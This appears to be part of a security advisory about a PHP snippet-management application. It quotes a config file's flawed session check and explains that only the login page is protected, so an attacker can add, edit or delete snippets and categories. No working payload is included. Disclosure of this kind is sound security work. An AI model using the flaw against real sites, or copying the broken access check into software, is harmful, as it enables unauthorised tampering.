2) Bug :

Look to file named config in line (120) to (138)


if(!session_is_registered('phpcsl') &&
!isset($_GET['login']) && isset($_GET['act'])) {

if(!$_GET['act'] == "session") {
$ur = "index.php?login=y&q=".base64_encode(querystr());
header("Location: $ur");
}
}


// build URL querystring
function querystr() {
global $HTTP_GET_VARS;
$q = "";
foreach($HTTP_GET_VARS as $n => $m) {
$q .= "$n=$m&";
}
return $q;
}

Here the file just secured the login page
but not secured the add snip or edit or delete
thats mean an attacker can add snippets or edit or delete or add category :D
